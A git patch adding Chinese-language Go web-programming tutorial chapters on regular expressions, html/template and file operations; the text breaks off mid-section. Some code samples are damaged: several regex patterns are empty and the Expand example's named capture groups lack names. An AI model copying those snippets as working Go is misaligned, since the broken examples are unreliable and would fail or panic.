From a06f3aa6dc8fff0a42c1757c8d06aa76f8cdd134 Mon Sep 17 00:00:00 2001 From: viviman Date: Mon, 19 Jul 2021 10:49:34 +0800 Subject: [PATCH] =?UTF-8?q?=E5=88=9D=E5=A7=8B=E5=8C=96?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- golang_frame/frame阅读/07.0.md | 12 + golang_frame/frame阅读/07.3.md | 256 ++++++++++++ golang_frame/frame阅读/07.4.md | 374 ++++++++++++++++++ golang_frame/frame阅读/07.5.md | 159 ++++++++ golang_frame/frame阅读/07.6.md | 181 +++++++++ golang_frame/frame阅读/07.7.md | 7 + golang_frame/frame阅读/09.0.md | 20 + golang_frame/frame阅读/09.1.md | 106 +++++ golang_frame/frame阅读/09.3.md | 54 +++ golang_frame/frame阅读/09.4.md | 78 ++++ golang_frame/frame阅读/09.5.md | 95 +++++ golang_frame/frame阅读/09.6.md | 127 ++++++ golang_frame/frame阅读/10.1.md | 89 +++++ golang_frame/frame阅读/10.2.md | 148 +++++++ golang_frame/frame阅读/10.3.md | 199 ++++++++++ golang_frame/frame阅读/10.4.md | 6 + golang_frame/frame阅读/11.0.md | 19 + golang_frame/frame阅读/11.1.md | 220 +++++++++++ golang_frame/frame阅读/11.2.md | 252 ++++++++++++ golang_frame/frame阅读/11.3.md | 173 ++++++++ golang_frame/frame阅读/12.2.md | 136 +++++++ golang_frame/frame阅读/12.3.md | 189 +++++++++ golang_frame/frame阅读/12.5.md | 18 + golang_frame/frame阅读/13.0.md | 12 + golang_frame/frame阅读/13.1.md | 53 +++ golang_frame/frame阅读/13.2.md | 276 +++++++++++++ golang_frame/frame阅读/images/13.1.flow.png | Bin 0 -> 17361 bytes .../frame阅读/images/13.1.gopath.png | Bin 0 -> 35302 bytes .../frame阅读/images/13.1.gopath2.png | Bin 0 -> 14374 bytes .../frame阅读/images/8.1.socket.png | Bin 0 -> 34915 bytes .../frame阅读/images/8.2.websocket.png | Bin 0 -> 17554 bytes .../frame阅读/images/8.2.websocket2.png | Bin 0 -> 14880 bytes .../frame阅读/images/8.2.websocket3.png | Bin 0 -> 2036 bytes .../go_to_gin/gin阅读/img/10.2.jpeg | Bin 0 -> 152968 bytes .../go_to_gin/gin阅读/img/11.1.jpeg | Bin 0 -> 16493 bytes .../go_to_gin/gin阅读/img/13.1.jpeg | Bin 0 -> 273953 bytes .../go_to_gin/gin阅读/img/13.2.jpeg | Bin 0 -> 22218 bytes .../go_to_gin/gin阅读/img/13.3.jpeg | Bin 0 -> 11190 bytes golang_frame/go_to_gin/gin阅读/img/8.1.jpeg | Bin 0 -> 147795 bytes golang_frame/go_to_gin/gin阅读/img/9.1.jpeg | Bin 0 -> 73048 bytes golang_learn/data_type/07.集合Map.go | 34 ++ golang_learn/data_type/08.接口interface.go | 49 +++ golang_learn/data_type/10.链表-单链表.go | 158 ++++++++ golang_learn/data_type/12.递归函数.go | 34 ++ 44 files changed, 3534 insertions(+) create mode 100644 golang_frame/frame阅读/07.0.md create mode 100644 golang_frame/frame阅读/07.3.md create mode 100644 golang_frame/frame阅读/07.4.md create mode 100644 golang_frame/frame阅读/07.5.md create mode 100644 golang_frame/frame阅读/07.6.md create mode 100644 golang_frame/frame阅读/07.7.md create mode 100644 golang_frame/frame阅读/09.0.md create mode 100644 golang_frame/frame阅读/09.1.md create mode 100644 golang_frame/frame阅读/09.3.md create mode 100644 golang_frame/frame阅读/09.4.md create mode 100644 golang_frame/frame阅读/09.5.md create mode 100644 golang_frame/frame阅读/09.6.md create mode 100644 golang_frame/frame阅读/10.1.md create mode 100644 golang_frame/frame阅读/10.2.md create mode 100644 golang_frame/frame阅读/10.3.md create mode 100644 golang_frame/frame阅读/10.4.md create mode 100644 golang_frame/frame阅读/11.0.md create mode 100644 golang_frame/frame阅读/11.1.md create mode 100644 golang_frame/frame阅读/11.2.md create mode 100644 golang_frame/frame阅读/11.3.md create mode 100644 golang_frame/frame阅读/12.2.md create mode 100644 golang_frame/frame阅读/12.3.md create mode 100644 golang_frame/frame阅读/12.5.md create mode 100644 golang_frame/frame阅读/13.0.md create mode 100644 golang_frame/frame阅读/13.1.md create mode 100644 golang_frame/frame阅读/13.2.md create mode 100644 golang_frame/frame阅读/images/13.1.flow.png create mode 100644 golang_frame/frame阅读/images/13.1.gopath.png create mode 100644 golang_frame/frame阅读/images/13.1.gopath2.png create mode 100644 golang_frame/frame阅读/images/8.1.socket.png create mode 100644 golang_frame/frame阅读/images/8.2.websocket.png create mode 100644 golang_frame/frame阅读/images/8.2.websocket2.png create mode 100644 golang_frame/frame阅读/images/8.2.websocket3.png create mode 100644 golang_frame/go_to_gin/gin阅读/img/10.2.jpeg create mode 100644 golang_frame/go_to_gin/gin阅读/img/11.1.jpeg create mode 100644 golang_frame/go_to_gin/gin阅读/img/13.1.jpeg create mode 100644 golang_frame/go_to_gin/gin阅读/img/13.2.jpeg create mode 100644 golang_frame/go_to_gin/gin阅读/img/13.3.jpeg create mode 100644 golang_frame/go_to_gin/gin阅读/img/8.1.jpeg create mode 100644 golang_frame/go_to_gin/gin阅读/img/9.1.jpeg create mode 100644 golang_learn/data_type/07.集合Map.go create mode 100644 golang_learn/data_type/08.接口interface.go create mode 100644 golang_learn/data_type/10.链表-单链表.go create mode 100644 golang_learn/data_type/12.递归函数.go diff --git a/golang_frame/frame阅读/07.0.md b/golang_frame/frame阅读/07.0.md new file mode 100644 index 0000000..88bc8d2 --- /dev/null +++ b/golang_frame/frame阅读/07.0.md @@ -0,0 +1,12 @@ +# 7 文本处理 +Web开发中对于文本处理是非常重要的一部分,我们往往需要对输出或者输入的内容进行处理,这里的文本包括字符串、数字、Json、XML等等。Go语言作为一门高性能的语言,对这些文本的处理都有官方的标准库来支持。而且在你使用中你会发现Go标准库的一些设计相当的巧妙,而且对于使用者来说也很方便就能处理这些文本。本章我们将通过四个小节的介绍,让用户对Go语言处理文本有一个很好的认识。 + +XML是目前很多标准接口的交互语言,很多时候和一些Java编写的webserver进行交互都是基于XML标准进行交互,7.1小节将介绍如何处理XML文本,我们使用XML之后发现它太复杂了,现在很多互联网企业对外的API大多数采用了JSON格式,这种格式描述简单,但是又能很好的表达意思,7.2小节我们将讲述如何来处理这样的JSON格式数据。正则是一个让人又爱又恨的工具,它处理文本的能力非常强大,我们在前面表单验证里面已经有所领略它的强大,7.3小节将详细的更深入的讲解如何利用好Go的正则。Web开发中一个很重要的部分就是MVC分离,在Go语言的Web开发中V有一个专门的包来支持`template`,7.4小节将详细的讲解如何使用模版来进行输出内容。7.5小节将详细介绍如何进行文件和文件夹的操作。7.6小节介绍了字符串的相关操作。 + +## 目录 + ![](images/navi7.png?raw=true) + +## links + * [目录]() + * 上一章: [第六章总结](<06.5.md>) + * 下一节: [XML处理](<07.1.md>) diff --git a/golang_frame/frame阅读/07.3.md b/golang_frame/frame阅读/07.3.md new file mode 100644 index 0000000..d8b5c22 --- /dev/null +++ b/golang_frame/frame阅读/07.3.md @@ -0,0 +1,256 @@ +# 7.3 正则处理 +正则表达式是一种进行模式匹配和文本操纵的复杂而又强大的工具。虽然正则表达式比纯粹的文本匹配效率低,但是它却更灵活。按照它的语法规则,随需构造出的匹配模式就能够从原始文本中筛选出几乎任何你想要得到的字符组合。如果你在Web开发中需要从一些文本数据源中获取数据,那么你只需要按照它的语法规则,随需构造出正确的模式字符串就能够从原数据源提取出有意义的文本信息。 + +Go语言通过`regexp`标准包为正则表达式提供了官方支持,如果你已经使用过其他编程语言提供的正则相关功能,那么你应该对Go语言版本的不会太陌生,但是它们之间也有一些小的差异,因为Go实现的是RE2标准,除了\C,详细的语法描述参考:`http://code.google.com/p/re2/wiki/Syntax` + +其实字符串处理我们可以使用`strings`包来进行搜索(Contains、Index)、替换(Replace)和解析(Split、Join)等操作,但是这些都是简单的字符串操作,他们的搜索都是大小写敏感,而且固定的字符串,如果我们需要匹配可变的那种就没办法实现了,当然如果`strings`包能解决你的问题,那么就尽量使用它来解决。因为他们足够简单、而且性能和可读性都会比正则好。 + +如果你还记得,在前面表单验证的小节里,我们已经接触过正则处理,在那里我们利用了它来验证输入的信息是否满足某些预设的条件。在使用中需要注意的一点就是:所有的字符都是UTF-8编码的。接下来让我们更加深入的来学习Go语言的`regexp`包相关知识吧。 + +## 通过正则判断是否匹配 +`regexp`包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false +```Go + +func Match(pattern string, b []byte) (matched bool, error error) +func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) +func MatchString(pattern string, s string) (matched bool, error error) + +``` +上面的三个函数实现了同一个功能,就是判断`pattern`是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。三个函数的输入源分别是byte slice、RuneReader和string。 + +如果要验证一个输入是不是IP地址,那么如何来判断呢?请看如下实现 +```Go + +func IsIP(ip string) (m bool) { + m, _ = regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip) + return +} +``` +可以看到,`regexp`的pattern和我们平常使用的正则一模一样。再来看一个例子:当用户输入一个字符串,我们想知道是不是一次合法的输入: +```Go + +func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } + if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("数字") + } else { + fmt.Println("不是数字") + } +} +``` +在上面的两个小例子中,我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求,它们使用起来非常方便。 + +## 通过正则获取内容 +Match模式只能用来对字符串的判断,而无法截取字符串的一部分、过滤字符串、或者提取出符合条件的一批字符串。如果想要满足这些需求,那就需要使用正则表达式的复杂模式。 + +我们经常需要一些爬虫程序,下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据: +```Go + +package main + +import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" +) + +func main() { + resp, err := http.Get("http://www.baidu.com") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + //将HTML标签全转换成小写 + re, _ := regexp.Compile(`<[\S\s]+?>`) + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + //去除STYLE + re, _ = regexp.Compile(``) + src = re.ReplaceAllString(src, "") + //去除HTMLUnscape的STYLE + re, _ = regexp.Compile(`<style[\S\s]+?</style>`) + src = re.ReplaceAllString(src, "") + + //去除SCRIPT + re, _ = regexp.Compile(``) + src = re.ReplaceAllString(src, "") + //去除HTMLUnsapce的SCRIPT + re, _ = regexp.Compile(`<script[\S\s]+?</script>`) + src = re.ReplaceAllString(src, "") + + //去除所有尖括号内的HTML代码,并换成换行符 + re, _ = regexp.Compile(`<[\S\s]+?>`) + src = re.ReplaceAllString(src, "\n") + + //去除连续的换行符 + re, _ = regexp.Compile(`\s{2,}`) + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) +} + +``` +从这个示例可以看出,使用复杂的正则首先是Compile,它会解析正则表达式是否合法,如果正确,那么就会返回一个Regexp,然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作。 + +解析正则表达式的有如下几个方法: +```Go + +func Compile(expr string) (*Regexp, error) +func CompilePOSIX(expr string) (*Regexp, error) +func MustCompile(str string) *Regexp +func MustCompilePOSIX(str string) *Regexp +``` +CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,它使用最左最长方式搜索,而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式,应用于"aa09aaa88aaaa"这个文本串时,CompilePOSIX返回了aaaa,而Compile的返回的是aa)。前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误。 + +在了解了如何新建一个Regexp之后,我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串,首先我们来看下面这些用来搜索的函数: +```Go + +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllString(s string, n int) []string +func (re *Regexp) FindAllStringIndex(s string, n int) [][]int +func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string +func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) +func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int +func (re *Regexp) FindString(s string) string +func (re *Regexp) FindStringIndex(s string) (loc []int) +func (re *Regexp) FindStringSubmatch(s string) []string +func (re *Regexp) FindStringSubmatchIndex(s string) []int +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +上面这18个函数我们根据输入源(byte slice、string和io.RuneReader)不同还可以继续简化成如下几个,其他的只是输入源不一样,其他功能基本是一样的: +```Go + +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int +``` +对于这些函数的使用我们来看下面这个例子 +```Go + +package main + +import ( + "fmt" + "regexp" +) + +func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + //查找符合正则的第一个 + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + //查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度 + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + //查找符合条件的index位置,开始位置和结束位置 + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + //查找符合条件的所有的index位置,n同上 + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + //查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的 + //下面的输出第一个元素是"am learning Go language" + //第二个元素是" learning Go ",注意包含空格的输出 + //第三个元素是"uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + //定义和上面的FindIndex一样 + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + //FindAllSubmatch,查找所有符合条件的子匹配 + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + //FindAllSubmatchIndex,查找所有字匹配的index + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) +} +``` +前面介绍过匹配函数,Regexp也定义了三个函数,它们和同名的外部函数功能一模一样,其实外部函数就是调用了这Regexp的三个函数来实现的: +```Go + +func (re *Regexp) Match(b []byte) bool +func (re *Regexp) MatchReader(r io.RuneReader) bool +func (re *Regexp) MatchString(s string) bool +``` +接下里让我们来了解替换函数是怎么操作的? +```Go + +func (re *Regexp) ReplaceAll(src, repl []byte) []byte +func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte +func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte +func (re *Regexp) ReplaceAllLiteralString(src, repl string) string +func (re *Regexp) ReplaceAllString(src, repl string) string +func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string +``` +这些替换函数我们在上面的抓网页的例子有详细应用示例, + +接下来我们看一下Expand的解释: +```Go + +func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte +func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte +``` +那么这个Expand到底用来干嘛的呢?请看下面的例子: +```Go + +func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) +} +``` +至此我们已经全部介绍完Go语言的`regexp`包,通过对它的主要函数介绍及演示,相信大家应该能够通过Go语言的正则包进行一些基本的正则的操作了。 + + +## links + * [目录]() + * 上一节: [Json处理](<07.2.md>) + * 下一节: [模板处理](<07.4.md>) diff --git a/golang_frame/frame阅读/07.4.md b/golang_frame/frame阅读/07.4.md new file mode 100644 index 0000000..c7d046a --- /dev/null +++ b/golang_frame/frame阅读/07.4.md @@ -0,0 +1,374 @@ +# 7.4 模板处理 +## 什么是模板 +你一定听说过一种叫做MVC的设计模式,Model处理数据,View展现结果,Controller控制用户的请求,至于View层的处理,在很多动态语言里面都是通过在静态HTML中插入动态语言生成的数据,例如JSP中通过插入`<%=....=%>`,PHP中通过插入``来实现的。 + +通过下面这个图可以说明模板的机制 + +![](images/7.4.template.png?raw=true) + +图7.1 模板机制图 + +Web应用反馈给客户端的信息中的大部分内容是静态的,不变的,而另外少部分是根据用户的请求来动态生成的,例如要显示用户的访问记录列表。用户之间只有记录数据是不同的,而列表的样式则是固定的,此时采用模板可以复用很多静态代码。 + +## Go模板使用 +在Go语言中,我们使用`template`包来进行模板处理,使用类似`Parse`、`ParseFile`、`Execute`等方法从文件或者字符串加载模板,然后执行类似上面图片展示的模板的merge操作。请看下面的例子: +```Go + +func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") //创建一个模板 + t, _ = t.ParseFiles("tmpl/welcome.html") //解析模板文件 + user := GetUser() //获取当前用户信息 + t.Execute(w, user) //执行模板的merger操作 +} +``` +通过上面的例子我们可以看到Go语言的模板操作非常的简单方便,和其他语言的模板处理类似,都是先获取数据,然后渲染数据。 + +为了演示和测试代码的方便,我们在接下来的例子中采用如下格式的代码 + +- 使用Parse代替ParseFiles,因为Parse可以直接测试一个字符串,而不需要额外的文件 +- 不使用handler来写演示代码,而是每个测试一个main,方便测试 +- 使用`os.Stdout`代替`http.ResponseWriter`,因为`os.Stdout`实现了`io.Writer`接口 + +## 模板中如何插入数据? +上面我们演示了如何解析并渲染模板,接下来让我们来更加详细的了解如何把数据渲染出来。一个模板都是应用在一个Go的对象之上,Go对象的字段如何插入到模板中呢? + +### 字段操作 +Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{.}}`表示当前的对象,这和Java或者C++中的this类似,如果要访问当前对象的字段通过`{{.FieldName}}`,但是需要注意一点:这个字段必须是导出的(字段首字母必须是大写的),否则在渲染的时候就会报错,请看下面的这个例子: +```Go + +package main + +import ( + "html/template" + "os" +) + +type Person struct { + UserName string +} + +func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) +} +``` +上面的代码我们可以正确的输出`hello Astaxie`,但是如果我们稍微修改一下代码,在模板中含有了未导出的字段,那么就会报错 +```Go + +type Person struct { + UserName string + email string //未导出的字段,首字母是小写的 +} + +t, _ = t.Parse("hello {{.UserName}}! {{.email}}") +``` +上面的代码就会报错,因为我们调用了一个未导出的字段,但是如果我们调用了一个不存在的字段是不会报错的,而是输出为空。 + +如果模板中输出`{{.}}`,这个一般应用于字符串对象,默认会调用fmt包输出字符串的内容。 + +### 输出嵌套字段内容 +上面我们例子展示了如何针对一个对象的字段输出,那么如果字段里面还有对象,如何来循环的输出这些内容呢?我们可以使用`{{with …}}…{{end}}`和`{{range …}}{{end}}`来进行数据的输出。 + +- {{range}} 这个和Go语法里面的range类似,循环操作数据 +- {{with}}操作是指当前对象的值,类似上下文的概念 + +详细的使用请看下面的例子: +```Go + +package main + +import ( + "html/template" + "os" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` +### 条件处理 +在Go模板里面如果需要进行条件判断,那么我们可以使用和Go语言的`if-else`语法类似的方式来处理,如果pipeline为空,那么if就认为是false,下面的例子展示了如何使用`if-else`语法: +```Go + +package main + +import ( + "os" + "text/template" +) + +func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不会输出. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("不为空的 pipeline if demo: {{if `anything`}} 我有内容,我会输出. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) +} +``` +通过上面的演示代码我们知道`if-else`语法相当的简单,在使用过程中很容易集成到我们的模板代码中。 + +> 注意:if里面无法使用条件判断,例如.Mail=="astaxie@gmail.com",这样的判断是不正确的,if里面只能是bool值 + +### pipelines +Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的语法你是不是经常使用,过滤当前目录下面的文件,显示含有"beego"的数据,表达的意思就是前面的输出可以当做后面的输入,最后显示我们想要的数据,而Go语言模板最强大的一点就是支持pipe数据,在Go语言里面任何`{{}}`里面的都是pipelines数据,例如我们上面输出的email里面如果还有一些可能引起XSS注入的,那么我们如何来进行转化呢? +```Go + +{{. | html}} + +``` +在email输出的地方我们可以采用如上方式可以把输出全部转化html的实体,上面的这种方式和我们平常写Unix的方式是不是一模一样,操作起来相当的简便,调用其他的函数也是类似的方式。 + +### 模板变量 +有时候,我们在模板使用过程中需要定义一些局部变量,我们可以在一些操作中申明局部变量,例如`with``range``if`过程中申明局部变量,这个变量的作用域是`{{end}}`之前,Go语言通过申明的局部变量格式如下所示: +```Go + +$variable := pipeline +``` +详细的例子看下面的: +```Go + +{{with $x := "output" | printf "%q"}}{{$x}}{{end}} +{{with $x := "output"}}{{printf "%q" $x}}{{end}} +{{with $x := "output"}}{{$x | printf "%q"}}{{end}} + +``` +### 模板函数 +模板在输出对象的字段值时,采用了`fmt`包把对象转化成了字符串。但是有时候我们的需求可能不是这样的,例如有时候我们为了防止垃圾邮件发送者通过采集网页的方式来发送给我们的邮箱信息,我们希望把`@`替换成`at`例如:`astaxie at beego.me`,如果要实现这样的功能,我们就需要自定义函数来做这个功能。 + +每一个模板函数都有一个唯一值的名字,然后与一个Go函数关联,通过如下的方式来关联 +```Go + +type FuncMap map[string]interface{} +``` +例如,如果我们想要的email函数的模板函数名是`emailDeal`,它关联的Go函数名称是`EmailDealWith`,那么我们可以通过下面的方式来注册这个函数 +```Go + +t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) +``` +`EmailDealWith`这个函数的参数和返回值定义如下: +```Go + +func EmailDealWith(args …interface{}) string +``` +我们来看下面的实现例子: +```Go + +package main + +import ( + "fmt" + "html/template" + "os" + "strings" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} + +``` +上面演示了如何自定义函数,其实,在模板包内部已经有内置的实现函数,下面代码截取自模板包里面 +```Go + +var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, +} + +``` +## Must操作 +模板包里面有一个函数`Must`,它的作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写。接下来我们演示一个例子,用Must来判断模板是否正确: +```Go + +package main + +import ( + "fmt" + "text/template" +) + +func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) +} + +``` +将输出如下内容 + +``` + +The first one parsed OK. +The second one parsed OK. +The next one ought to fail. +panic: template: check parse error with Must:1: unexpected "}" in command +``` +## 嵌套模板 +我们平常开发Web应用的时候,经常会遇到一些模板有些部分是固定不变的,然后可以抽取出来作为一个独立的部分,例如一个博客的头部和尾部是不变的,而唯一改变的是中间的内容部分。所以我们可以定义成`header`、`content`、`footer`三个部分。Go语言中通过如下的语法来申明 +```Go + +{{define "子模板名称"}}内容{{end}} +``` +通过如下方式来调用: +```Go + +{{template "子模板名称"}} +``` +接下来我们演示如何使用嵌套模板,我们定义三个文件,`header.tmpl`、`content.tmpl`、`footer.tmpl`文件,里面的内容如下 +```html + +//header.tmpl +{{define "header"}} + + + 演示信息 + + +{{end}} + +//content.tmpl +{{define "content"}} +{{template "header"}} +

演示嵌套

+
    +
  • 嵌套使用define定义子模板
  • +
  • 调用使用template
  • +
+{{template "footer"}} +{{end}} + +//footer.tmpl +{{define "footer"}} + + +{{end}} +``` +演示代码如下: +```Go + +package main + +import ( + "fmt" + "os" + "text/template" +) + +func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) +} +``` +通过上面的例子我们可以看到通过`template.ParseFiles`把所有的嵌套模板全部解析到模板里面,其实每一个定义的{{define}}都是一个独立的模板,他们相互独立,是并行存在的关系,内部其实存储的是类似map的一种关系(key是模板的名称,value是模板的内容),然后我们通过`ExecuteTemplate`来执行相应的子模板内容,我们可以看到header、footer都是相对独立的,都能输出内容,content 中因为嵌套了header和footer的内容,就会同时输出三个的内容。但是当我们执行`s1.Execute`,没有任何的输出,因为在默认的情况下没有默认的子模板,所以不会输出任何的东西。 + +>同一个集合类的模板是互相知晓的,如果同一模板被多个集合使用,则它需要在多个集合中分别解析 + +## 总结 +通过上面对模板的详细介绍,我们了解了如何把动态数据与模板融合:如何输出循环数据、如何自定义函数、如何嵌套模板等等。通过模板技术的应用,我们可以完成MVC模式中V的处理,接下来的章节我们将介绍如何来处理M和C。 + +## links + * [目录]() + * 上一节: [正则处理](<07.3.md>) + * 下一节: [文件操作](<07.5.md>) diff --git a/golang_frame/frame阅读/07.5.md b/golang_frame/frame阅读/07.5.md new file mode 100644 index 0000000..3d5810f --- /dev/null +++ b/golang_frame/frame阅读/07.5.md @@ -0,0 +1,159 @@ +# 7.5 文件操作 +在任何计算机设备中,文件是都是必须的对象,而在Web编程中,文件的操作一直是Web程序员经常遇到的问题,文件操作在Web应用中是必须的,非常有用的,我们经常遇到生成文件目录,文件(夹)编辑等操作,现在我把Go中的这些操作做一详细总结并实例示范如何使用。 +## 目录操作 +文件操作的大多数函数都是在os包里面,下面列举了几个目录操作的: + +- func Mkdir(name string, perm FileMode) error + + 创建名称为name的目录,权限设置是perm,例如0777 + +- func MkdirAll(path string, perm FileMode) error + + 根据path创建多级子目录,例如astaxie/test1/test2。 + +- func Remove(name string) error + + 删除名称为name的目录,当目录下有文件或者其他目录时会出错 + +- func RemoveAll(path string) error + + 根据path删除多级子目录,如果path是单个名称,那么该目录下的子目录全部删除。 + + +下面是演示代码: +```Go + +package main + +import ( + "fmt" + "os" +) + +func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") +} + +``` + +## 文件操作 + +### 建立与打开文件 +新建文件可以通过如下两个方法 + +- func Create(name string) (file *File, err Error) + + 根据提供的文件名创建新的文件,返回一个文件对象,默认权限是0666的文件,返回的文件对象是可读写的。 + +- func NewFile(fd uintptr, name string) *File + + 根据文件描述符创建相应的文件,返回一个文件对象 + + +通过如下两个方法来打开文件: + +- func Open(name string) (file *File, err Error) + + 该方法打开一个名称为name的文件,但是是只读方式,内部实现其实调用了OpenFile。 + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + 